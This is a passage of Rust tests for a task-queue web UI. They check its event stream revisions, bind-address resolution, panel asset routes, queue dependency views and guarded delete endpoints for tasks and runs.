12149                .contains("content-type: text/event-stream"),
12150            "the browser only reconnects automatically for a real SSE stream: {seen}"
12151        );
12152        let data = seen
12153            .lines()
12154            .find_map(|l| l.strip_prefix("data:"))
12155            .expect("a data line");
12156        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12157        assert!(
12158            payload["queue_rev"].is_u64()
12159                && payload["runs_rev"].is_u64()
12160                && payload["questions_rev"].is_u64()
12161                && payload["talks_rev"].is_u64()
12162                && payload["notifications_rev"].is_u64()
12163                && payload["loop_rev"].is_u64(),
12164            "the client needs one revision per store to know what to refetch, \
12165             and `talks_rev` is the only notification a standing talk gets - a \
12166             phone whose radio slept through a turn learns about it here, as \
12167             does one whose operator started the loop from another device: \
12168             {payload}"
12169        );
12170
12171        // The front end re-polls health on a timer and on wake, and takes the
12172        // revisions from that answer whenever the stream is not up. So health
12173        // has to carry every key the stream carries: a phone on a link that
12174        // will not hold an SSE connection is exactly the phone that must still
12175        // notice a question, and a missing key there is not a 500 but a UI
12176        // that quietly stops updating.
12177        let health = f.get("/api/health").await.json();
12178        for key in [
12179            "queue_rev",
12180            "runs_rev",
12181            "questions_rev",
12182            "talks_rev",
12183            "notifications_rev",
12184            "loop_rev",
12185        ] {
12186            assert!(
12187                health[key].is_u64(),
12188                "health is the change stream's fallback and is missing `{key}`: {health}"
12189            );
12190        }
12191    }
12192
12193    #[tokio::test]
12194    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12195        let f = Fixture::start().await;
12196        let before = f.get("/api/health").await.json()["talks_rev"]
12197            .as_u64()
12198            .expect("talks_rev");
12199
12200        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12201        std::thread::sleep(Duration::from_millis(10));
12202        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12203        on_disk.turns.push(crate::talk::Turn {
12204            who: crate::talk::Who::Operator,
12205            body: "a new turn".to_owned(),
12206            at: Timestamp::now(),
12207            attachments: Vec::new(),
12208            usage: None,
12209        });
12210        f.talks().put(&mut on_disk).expect("record a turn");
12211
12212        let after = f.get("/api/health").await.json()["talks_rev"]
12213            .as_u64()
12214            .expect("talks_rev");
12215        assert_ne!(
12216            before, after,
12217            "a phone must be able to notice a talk's reply without polling every store"
12218        );
12219    }
12220
12221    #[test]
12222    fn bind_reads_back_from_the_spelling_the_cli_prints() {
12223        // The CLI shows the default in `--help` and parses whatever comes
12224        // back, so the two directions have to agree or `--bind auto` breaks
12225        // the moment someone copies the help text.
12226        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12227            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12228        }
12229        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12230        assert!("everywhere".parse::<Bind>().is_err());
12231    }
12232
12233    #[test]
12234    fn an_explicit_bind_address_is_taken_verbatim() {
12235        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12236
12237        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12238
12239        assert_eq!(addr, asked);
12240        assert!(
12241            warning.is_none(),
12242            "an operator who named an address gets no lecture"
12243        );
12244    }
12245
12246    #[test]
12247    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12248        let (addr, warning) = resolve_bind(&Bind::Auto);
12249
12250        // This has to hold on a CI runner with no `tailscale` and on a dev box
12251        // with one, so the invariant asserted is the one shared by both
12252        // outcomes: the address is either a real tailnet address offered
12253        // without comment, or loopback with an explanation. What must never
12254        // happen is a silent fallback - an operator told "listening on
12255        // 127.0.0.1" with no reason would go looking for a firewall.
12256        match addr {
12257            IpAddr::V4(ip) if is_tailnet(&ip) => {
12258                assert!(warning.is_none(), "a tailnet address needs no warning");
12259            }
12260            other => {
12261                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12262                let warning = warning.expect("a fallback has to explain itself");
12263                assert!(
12264                    warning.contains("127.0.0.1") && warning.contains("local-only"),
12265                    "the warning says what happened and what it costs: {warning}"
12266                );
12267            }
12268        }
12269    }
12270
12271    #[test]
12272    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12273        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
12274        // boundary cases are what stop us binding to some other tool's idea of
12275        // an address.
12276        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12277        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12278        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12279        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12280        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12281    }
12282
12283    #[test]
12284    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12285        let ids = vec![
12286            "20260902-140501-aaaa".to_owned(),
12287            "20260902-140502-aabb".to_owned(),
12288        ];
12289
12290        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12291        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12292        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12293
12294        assert_eq!(missing.status, StatusCode::NOT_FOUND);
12295        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12296        assert_eq!(short, "20260902-140502-aabb");
12297    }
12298    #[tokio::test]
12299    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12300        // The prompt tells agents to reference attachments by bare filename.
12301        // A document served at `.../panel` resolves `shot.png` against its own
12302        // directory, i.e. `.../shot.png`, which is not the asset route - so a
12303        // panel written exactly as instructed showed broken images. Caught by
12304        // looking at a real one in a browser, not by reading the code.
12305        let fx = Fixture::start().await;
12306        let id = panel(
12307            &fx,
12308            "<img src=\"shot.png\">",
12309            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12310        );
12311
12312        // The frame's own URL ends in a filename, so its siblings are reachable.
12313        let doc = fx
12314            .get(&format!("/api/questions/{id}/panel/index.html"))
12315            .await;
12316        assert_eq!(doc.status, 200, "{}", doc.body);
12317        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12318
12319        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12320        assert_eq!(sibling.status, 200, "{}", sibling.body);
12321        assert_eq!(sibling.header("content-type"), Some("image/png"));
12322        assert_eq!(
12323            sibling.header("content-security-policy"),
12324            Some(PANEL_CSP),
12325            "the sibling route must carry the same policy as the asset route"
12326        );
12327
12328        // The original spelling keeps working: HEAD on it is how the front end
12329        // decides whether to mount a frame at all.
12330        assert_eq!(
12331            fx.head(&format!("/api/questions/{id}/panel")).await.status,
12332            200
12333        );
12334    }
12335
12336    #[test]
12337    fn delta_stamps_cover_add_update_remove_and_noop() {
12338        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12339        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12340        let delta = diff_stamps(&before, &after, 42);
12341        assert_eq!(delta.base, 42);
12342        assert_eq!(delta.changed, ["b", "c"]);
12343        assert_eq!(delta.removed, ["a"]);
12344        let same = diff_stamps(&after, &after, 43);
12345        assert!(same.changed.is_empty() && same.removed.is_empty());
12346        assert_ne!(stamps_revision(&before), stamps_revision(&after));
12347        let nanos: Stamps = [("b".into(), (2, 20))].into();
12348        let same_ms: Stamps = [("b".into(), (3, 20))].into();
12349        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12350        assert_eq!(stamps_revision(&Stamps::new()), 0);
12351    }
12352
12353    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12354        std::fs::create_dir_all(home.join("runs")).unwrap();
12355        Arc::new(Ui::new(
12356            Queue::at(home.join("queue")),
12357            Questions::at(home.join("questions")),
12358            Talks::at(home.join("talks")),
12359            home.join("runs"),
12360            home.to_owned(),
12361            PathBuf::from("/repo/magi"),
12362        ))
12363    }
12364
12365    #[tokio::test]
12366    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12367        let home = TempDir::new().unwrap();
12368        let ui = delta_test_ui(home.path());
12369        let mut task = Task::new(
12370            "stream task".into(),
12371            "text".into(),
12372            PathBuf::from("/repo"),
12373            Source::Human,
12374        );
12375        ui.queue.put(&mut task).unwrap();
12376        let response = events(State(ui.clone())).await.into_response();
12377        let mut stream = response.into_body().into_data_stream();
12378        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12379            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12380                .await
12381                .unwrap()
12382                .unwrap()
12383                .unwrap();
12384            let text = String::from_utf8(chunk.to_vec()).unwrap();
12385            let data = text
12386                .lines()
12387                .find_map(|line| {
12388                    line.strip_prefix("data: ")
12389                        .or_else(|| line.strip_prefix("data:"))
12390                })
12391                .unwrap();
12392            serde_json::from_str(data).unwrap()
12393        }
12394        let initial = change(&mut stream).await;
12395        assert!(initial.get("queue_delta").is_none());
12396        task.instruction.push_str(" changed");
12397        ui.queue.put(&mut task).unwrap();
12398        let updated = change(&mut stream).await;
12399        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12400        assert_eq!(
12401            updated["queue_delta"]["changed"],
12402            serde_json::json!([task.id])
12403        );
12404        assert_eq!(
12405            updated["queue_rev"].as_u64(),
12406            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12407        );
12408        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12409        let removed = change(&mut stream).await;
12410        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12411        assert_eq!(
12412            removed["queue_delta"]["removed"],
12413            serde_json::json!([task.id])
12414        );
12415    }
12416
12417    #[tokio::test]
12418    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12419        let home = TempDir::new().unwrap();
12420        let ui = delta_test_ui(home.path());
12421        let queue = ui.queue.clone();
12422        let query = |ids: Option<&str>| {
12423            Query(ListQuery {
12424                limit: Some(2),
12425                ids: ids.map(str::to_owned),
12426            })
12427        };
12428        let mut root = Task::new(
12429            "root".into(),
12430            "instruction".into(),
12431            PathBuf::from("/repo"),
12432            Source::Human,
12433        );
12434        queue.put(&mut root).unwrap();
12435        let mut blocked = Task::new(
12436            "blocked".into(),
12437            "instruction".into(),
12438            PathBuf::from("/repo"),
12439            Source::Human,
12440        );
12441        blocked.block(vec![root.id.clone()], None);
12442        queue.put(&mut blocked).unwrap();
12443        let whole =
12444            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12445                .unwrap();
12446        let subset = serde_json::to_value(
12447            queue_list(State(ui.clone()), query(Some(&root.id)))
12448                .await
12449                .unwrap()
12450                .0,
12451        )
12452        .unwrap();
12453        assert_eq!(whole, subset, "requested root plus its blocked dependent");
12454        let blockers = serde_json::to_value(
12455            queue_list(State(ui.clone()), query(Some("")))
12456                .await
12457                .unwrap()
12458                .0,
12459        )
12460        .unwrap();
12461        assert_eq!(blockers.as_array().unwrap().len(), 1);
12462        assert_eq!(blockers[0]["id"], blocked.id);
12463        assert_eq!(
12464            blockers[0]["waits_on"],
12465            whole
12466                .as_array()
12467                .unwrap()
12468                .iter()
12469                .find(|row| row["id"] == blocked.id)
12470                .unwrap()["waits_on"]
12471        );
12472
12473        for id in [
12474            "20260902-140501-aaaa",
12475            "20260902-140502-bbbb",
12476            "20260902-140503-cccc",
12477        ] {
12478            write_run(&ui.runs, id, RunStatus::Merged);
12479        }
12480        let old = serde_json::to_value(
12481            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12482                .await
12483                .unwrap()
12484                .0,
12485        )
12486        .unwrap();
12487        assert!(
12488            old.as_array().unwrap().is_empty(),
12489            "older updates must not enter the window"
12490        );
12491        let newest = serde_json::to_value(
12492            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12493                .await
12494                .unwrap()
12495                .0,
12496        )
12497        .unwrap();
12498        assert_eq!(newest.as_array().unwrap().len(), 1);
12499        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12500
12501        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12502        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12503        let talks = serde_json::to_value(
12504            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12505                .await
12506                .unwrap()
12507                .0,
12508        )
12509        .unwrap();
12510        assert_eq!(talks.as_array().unwrap().len(), 1);
12511        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12512        assert_eq!(
12513            serde_json::to_value(
12514                talks_list(State(ui.clone()), query(Some("")))
12515                    .await
12516                    .unwrap()
12517                    .0
12518            )
12519            .unwrap(),
12520            serde_json::json!([])
12521        );
12522    }
12523
12524    #[tokio::test]
12525    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12526    async fn delta_payload_benchmark() {
12527        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12528        let ui = delta_test_ui(&home);
12529        let query = |ids: Option<String>| {
12530            Query(ListQuery {
12531                limit: Some(50),
12532                ids,
12533            })
12534        };
12535        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12536        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12537        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12538        let queue_id = queue
12539            .iter()
12540            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12541            .unwrap_or(&queue[0])
12542            .task
12543            .id
12544            .clone();
12545        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12546            .await
12547            .unwrap()
12548            .0;
12549        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12550            .await
12551            .unwrap()
12552            .0;
12553        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12554            .await
12555            .unwrap()
12556            .0;
12557        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12558        eprintln!(
12559            "DELTA_PAYLOAD {}",
12560            serde_json::json!({
12561                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12562                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12563                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12564                "counts": [queue.len(), runs.len(), talks.len()],
12565                "blocked": queue_delta.len() - 1,
12566            })
12567        );
12568    }
12569
12570    #[test]
12571    fn runs_revision_moves_when_deleting_an_older_run() {
12572        let temp = TempDir::new().expect("tempdir");
12573        let runs = temp.path().join("runs");
12574        std::fs::create_dir_all(&runs).expect("create runs dir");
12575
12576        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12577
12578        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12579        std::thread::sleep(Duration::from_millis(10));
12580        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12581
12582        let rev_before = runs_revision(&runs);
12583        assert!(rev_before > 0);
12584
12585        let old_dir = runs.join("20260901-100000-old1");
12586        std::fs::remove_dir_all(&old_dir).expect("remove old run");
12587
12588        let rev_after = runs_revision(&runs);
12589        assert_ne!(
12590            rev_before, rev_after,
12591            "deleting an older run must change the revision so other clients see the deletion"
12592        );
12593    }
12594
12595    /// A run's own `run.json` on an explicit `runs` root, bypassing the
12596    /// process-global home entirely — `RunState::save` writes through
12597    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
12598    /// (see `tests::home_lock` in the integration suite for why).
12599    fn write_state(runs: &FsPath, state: &RunState) {
12600        let dir = runs.join(&state.id);
12601        std::fs::create_dir_all(&dir).expect("run dir");
12602        std::fs::write(
12603            dir.join("run.json"),
12604            serde_json::to_string_pretty(state).expect("serialize run"),
12605        )
12606        .expect("write run.json");
12607    }
12608
12609    /// A seat starting or finishing is a write to `run.json` like any other,
12610    /// so it moves the same revision the change stream already watches —
12611    /// nothing new for `/api/events` to learn, but the property this feature
12612    /// depends on to reach the phone without a poll.
12613    #[test]
12614    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12615        let temp = TempDir::new().expect("tempdir");
12616        let runs = temp.path().join("runs");
12617        std::fs::create_dir_all(&runs).expect("create runs dir");
12618        let mut state = RunState::new(
12619            PathBuf::from("/repo/magi"),
12620            "main".to_owned(),
12621            "0123456789abcdef".to_owned(),
12622            "task".to_owned(),
12623            Config::default(),
12624        );
12625        state.id = "20260902-100000-c0de".to_owned();
12626        write_state(&runs, &state);
12627
12628        let rev_idle = runs_revision(&runs);
12629        std::thread::sleep(Duration::from_millis(10));
12630        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12631        write_state(&runs, &state);
12632        let rev_started = runs_revision(&runs);
12633        assert_ne!(
12634            rev_idle, rev_started,
12635            "a seat starting must move the revision"
12636        );
12637
12638        std::thread::sleep(Duration::from_millis(10));
12639        state.seat_finished("judge-1");
12640        write_state(&runs, &state);
12641        let rev_finished = runs_revision(&runs);
12642        assert_ne!(
12643            rev_started, rev_finished,
12644            "and clearing it again must move the revision a second time"
12645        );
12646    }
12647
12648    #[tokio::test]
12649    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12650        // `TaskView` flattens `Task`, so this is really asserting that
12651        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
12652        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
12653        // never touched web.rs, so nothing here caught it if it had.
12654        let fx = Fixture::start().await;
12655        let q = fx.queue();
12656
12657        let mut t = Task::new(
12658            "Task".to_owned(),
12659            "Instruction".to_owned(),
12660            PathBuf::from("/repo"),
12661            Source::Human,
12662        );
12663        t.block(
12664            vec!["20260101-000000-dead".to_owned()],
12665            Some("waiting on Task 1".to_owned()),
12666        );
12667        t.answers.push(crate::queue::AnsweredQuestion {
12668            question: "Which backend?".to_owned(),
12669            answer: "SQLite".to_owned(),
12670        });
12671        q.put(&mut t).expect("put t");
12672
12673        let res = fx.get("/api/queue").await;
12674        assert_eq!(res.status, 200);
12675        let list = res.json();
12676        let view = list
12677            .as_array()
12678            .expect("array")
12679            .iter()
12680            .find(|v| v["id"] == t.id)
12681            .expect("task in list");
12682        assert_eq!(view["status_str"], "blocked");
12683        assert_eq!(
12684            view["blocked_by"],
12685            serde_json::json!(["20260101-000000-dead"])
12686        );
12687        assert_eq!(view["block_reason"], "waiting on Task 1");
12688        assert_eq!(view["answers"][0]["question"], "Which backend?");
12689        assert_eq!(view["answers"][0]["answer"], "SQLite");
12690
12691        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
12692        // but never `answers` - that is a settled decision, not state
12693        // describing the current block, so it survives.
12694        let res = fx
12695            .post(&format!("/api/queue/{}/hold", t.short()), None)
12696            .await;
12697        assert_eq!(res.status, 200);
12698        let held = res.json();
12699        assert_eq!(held["status_str"], "held");
12700        assert_eq!(held["blocked_by"], serde_json::json!([]));
12701        assert!(held["block_reason"].is_null());
12702        assert_eq!(held["answers"][0]["answer"], "SQLite");
12703    }
12704
12705    #[tokio::test]
12706    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12707        let fx = Fixture::start().await;
12708        let q = fx.queue();
12709        let mk = |title: &str| {
12710            Task::new(
12711                title.to_owned(),
12712                "Instruction".to_owned(),
12713                PathBuf::from("/repo"),
12714                Source::Human,
12715            )
12716        };
12717        let mut root = mk("root");
12718        root.hold_manual(Some("waiting".to_owned()));
12719        q.put(&mut root).unwrap();
12720        let mut mid = mk("mid");
12721        mid.block(vec![root.id.clone()], None);
12722        q.put(&mut mid).unwrap();
12723        let mut leaf = mk("leaf");
12724        leaf.block(vec![mid.id.clone()], None);
12725        q.put(&mut leaf).unwrap();
12726
12727        let list = fx.get("/api/queue").await.json();
12728        let find = |id: &str| {
12729            list.as_array()
12730                .unwrap()
12731                .iter()
12732                .find(|v| v["id"] == id)
12733                .unwrap()
12734                .clone()
12735        };
12736        let leaf_view = find(&leaf.id);
12737        assert_eq!(
12738            leaf_view["waits_on"],
12739            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12740        );
12741        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12742        assert_eq!(
12743            find(&mid.id)["waits_on"],
12744            serde_json::json!([format!("{} (held)", root.short())])
12745        );
12746        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12747    }
12748
12749    #[tokio::test]
12750    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12751        let fx = Fixture::start().await;
12752        let q = fx.queue();
12753
12754        // 1. A queued task with runs attached can be deleted.
12755        let mut t1 = Task::new(
12756            "Task 1".to_owned(),
12757            "Instruction 1".to_owned(),
12758            PathBuf::from("/repo"),
12759            Source::Human,
12760        );
12761        let run_id = "20260901-000000-r111";
12762        t1.runs.push(run_id.to_owned());
12763        write_run(&fx.runs(), run_id, RunStatus::Merged);
12764        q.put(&mut t1).expect("put t1");
12765
12766        // Delete by short id
12767        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12768        assert_eq!(res.status, 204);
12769        assert!(res.body.is_empty(), "204 No Content has no body");
12770        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12771        assert!(
12772            fx.runs().join(run_id).exists(),
12773            "run directory must not be deleted when its task is deleted"
12774        );
12775
12776        // 2. A task a live daemon is running is refused with 409.
12777        let mut t2 = Task::new(
12778            "Task 2".to_owned(),
12779            "Instruction 2".to_owned(),
12780            PathBuf::from("/repo"),
12781            Source::Human,
12782        );
12783        t2.status = TaskStatus::Running;
12784        q.put(&mut t2).expect("put t2");
12785        let mut beat = crate::daemon::Status::new();
12786        beat.current = vec![crate::daemon::Current {
12787            task: t2.id.clone(),
12788            run: "20260901-000000-r222".to_owned(),
12789        }];
12790        beat.updated_at = jiff::Timestamp::now();
12791        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12792            .expect("publish a heartbeat");
12793        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12794        assert_eq!(res.status, 409);
12795        assert!(
12796            res.json()["error"]
12797                .as_str()
12798                .unwrap()
12799                .contains("live daemon")
12800        );
12801        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12802
12803        // 3. The same `running` status and an orphaned lock, with no daemon
12804        // behind either, is a leftover and deletable. Before this the phone
12805        // refused it for good: the status never changes on its own and
12806        // nothing drops a lock whose process is gone.
12807        // The daemon is killed: the file stays, the heartbeat stops.
12808        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12809        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12810            .expect("leave a stale heartbeat");
12811        let mut t3 = Task::new(
12812            "Task 3".to_owned(),
12813            "Instruction 3".to_owned(),
12814            PathBuf::from("/repo"),
12815            Source::Human,
12816        );
12817        t3.status = TaskStatus::Running;
12818        q.put(&mut t3).expect("put t3");
12819        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12820        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12821        assert_eq!(res.status, 204);
12822        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12823        assert!(
12824            q.claim(&t3.id).is_ok(),
12825            "the stale lock went with it, so the id is claimable again"
12826        );
12827
12828        // 4. Missing id returns 404
12829        let res = fx.delete("/api/queue/nonexistent").await;
12830        assert_eq!(res.status, 404);
12831    }
12832
12833    #[tokio::test]
12834    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12835        let fx = Fixture::start().await;
12836        let runs = fx.runs();
12837
12838        // 1. Finished and folded run can be deleted along with artifacts
12839        let run_id = "20260901-000000-fold";
12840        let mut state = RunState::new(
12841            PathBuf::from("/repo"),
12842            "main".to_owned(),
12843            "abc".to_owned(),
12844            "instruction".to_owned(),
12845            Config::default(),
12846        );
12847        state.id = run_id.to_owned();
12848        state.status = RunStatus::Merged;
12849        state.candidates.push(crate::run::Candidate {
12850            index: 0,
12851            label: 'A',
12852            agent: "a".to_owned(),
12853            branch: "b".to_owned(),
12854            worktree: PathBuf::from("/w"),
12855            summary: String::new(),
12856            stat: String::new(),
12857            files: 1,
12858            commits: 1,
12859            empty: false,
12860            failed: None,
12861            verified_noop: None,
12862            duration_ms: 0,
12863            folded: true,
12864        });
12865        let dir = runs.join(run_id);
12866        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12867        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12868            .expect("write artifact");
12869        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12870            .expect("write run.json");
12871
12872        // Delete by short id
12873        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12874        assert_eq!(res.status, 204);
12875        assert!(res.body.is_empty(), "204 has no body");
12876        assert!(!dir.exists(), "run directory and artifacts must be deleted");
12877
12878        // 2. A run a live daemon is working on is refused with 409. The
12879        // heartbeat is what makes it refusable: an unfinished run with no
12880        // daemon behind it is a leftover from a killed process, and case 1
12881        // above would otherwise be impossible to tell apart from this one.
12882        let run_running = "20260901-000000-rung";
12883        write_run(&runs, run_running, RunStatus::Prep);
12884        let mut beat = crate::daemon::Status::new();
12885        beat.current = vec![crate::daemon::Current {
12886            task: "20260901-000000-task".to_owned(),
12887            run: run_running.to_owned(),
12888        }];
12889        beat.updated_at = jiff::Timestamp::now();
12890        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12891            .expect("publish a heartbeat");
12892        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12893        assert_eq!(res.status, 409);
12894        assert!(
12895            res.json()["error"]
12896                .as_str()
12897                .unwrap()
12898                .contains("live daemon"),
12899            "the refusal must say who is holding it"
12900        );
12901        assert!(
12902            runs.join(run_running).exists(),
12903            "a run in flight keeps its directory"
12904        );
12905
12906        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
12907        let run_unfolded = "20260901-000000-unfd";
12908        let mut state2 = RunState::new(
12909            PathBuf::from("/repo"),
12910            "main".to_owned(),
12911            "abc".to_owned(),
12912            "instruction".to_owned(),
12913            Config::default(),
12914        );
12915        state2.id = run_unfolded.to_owned();
12916        state2.status = RunStatus::Ready;
12917        state2.candidates.push(crate::run::Candidate {
12918            index: 0,
12919            label: 'A',
12920            agent: "a".to_owned(),
12921            branch: "b".to_owned(),
12922            worktree: PathBuf::from("/w"),
12923            summary: String::new(),
12924            stat: String::new(),
12925            files: 1,
12926            commits: 1,
12927            empty: false,
12928            failed: None,
12929            verified_noop: None,
12930            duration_ms: 0,
12931            folded: false,
12932        });
12933        let dir2 = runs.join(run_unfolded);
12934        std::fs::create_dir_all(&dir2).expect("create dir2");
12935        std::fs::write(
12936            dir2.join("run.json"),
12937            serde_json::to_string(&state2).unwrap(),
12938        )
12939        .expect("write run.json");
12940
12941        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12942        assert_eq!(res.status, 409);
12943        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12944        assert!(dir2.exists(), "unfolded run directory is kept");
12945
12946        // 4. Missing id returns 404
12947        let res = fx.delete("/api/runs/nonexistent").await;
12948        assert_eq!(res.status, 404);
12949    }
12950
12951    /// The queue tiles on the Stats tab must render even on a home with no
12952    /// runs at all: queue state is not derived from run history, so hiding
12953    /// the whole dashboard body behind "no runs yet" would drop the one
12954    /// thing this tab promises unconditionally (queued/running/held/done).
12955    /// A DOM-level test would need a browser this suite does not have, so
12956    /// this pins the same invariant textually: `renderStatsQueue` is called
12957    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
12958    /// block that gates the run-derived panels.
12959    #[test]
12960    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12961        let start = APP_JS
12962            .find("function renderStats() {")
12963            .expect("renderStats");
12964        let end = start
12965            + APP_JS[start..]
12966                .find("function statsTile(")
12967                .expect("the next top-level function");
12968        let body = &APP_JS[start..end];
12969
12970        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12971        let gate_end = gate_start
12972            + body[gate_start..]
12973                .find("}\n  renderStatsQueue")
12974                .expect("the gate's own closing brace, right before the unconditional call");
12975        let gated = &body[gate_start..gate_end];
12976
12977        assert_eq!(
12978            body.matches("renderStatsQueue(").count(),
12979            1,
12980            "renderStats must call renderStatsQueue exactly once: {body}"
12981        );
12982        assert!(
12983            !gated.contains("renderStatsQueue"),
12984            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12985             run-derived panels on an empty run history - the queue panel has to render \
12986             regardless: {gated}"
12987        );
12988    }
12989
12990    #[test]
12991    fn web_ui_delete_contract_in_front_end() {
12992        // 1. API block has both delete endpoints
12993        assert!(APP_JS.contains("deleteRun:"));
12994        assert!(APP_JS.contains("deleteTask:"));
12995
12996        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
12997        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12998            ..APP_JS.find("function renderRuns").unwrap()];
12999        assert!(!run_cards_slice.to_lowercase().contains("delete"));
13000
13001        // 3. Run detail has delete entry and reasons
13002        assert!(APP_JS.contains("renderRunDelete"));
13003        assert!(APP_JS.contains("runDeleteReason"));
13004        assert!(APP_JS.contains("magi fold"));
13005        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13006
13007        // 4. Two-step delete arming and focus on Cancel
13008        assert!(APP_JS.contains("cancel.focus"));
13009        assert!(APP_JS.contains("armedRunDelete"));
13010        assert!(APP_JS.contains("renderTaskDeleteBox"));
13011        assert!(APP_JS.contains("armed${cap(key)}"));
13012
13013        // 5. Running task has disabled delete
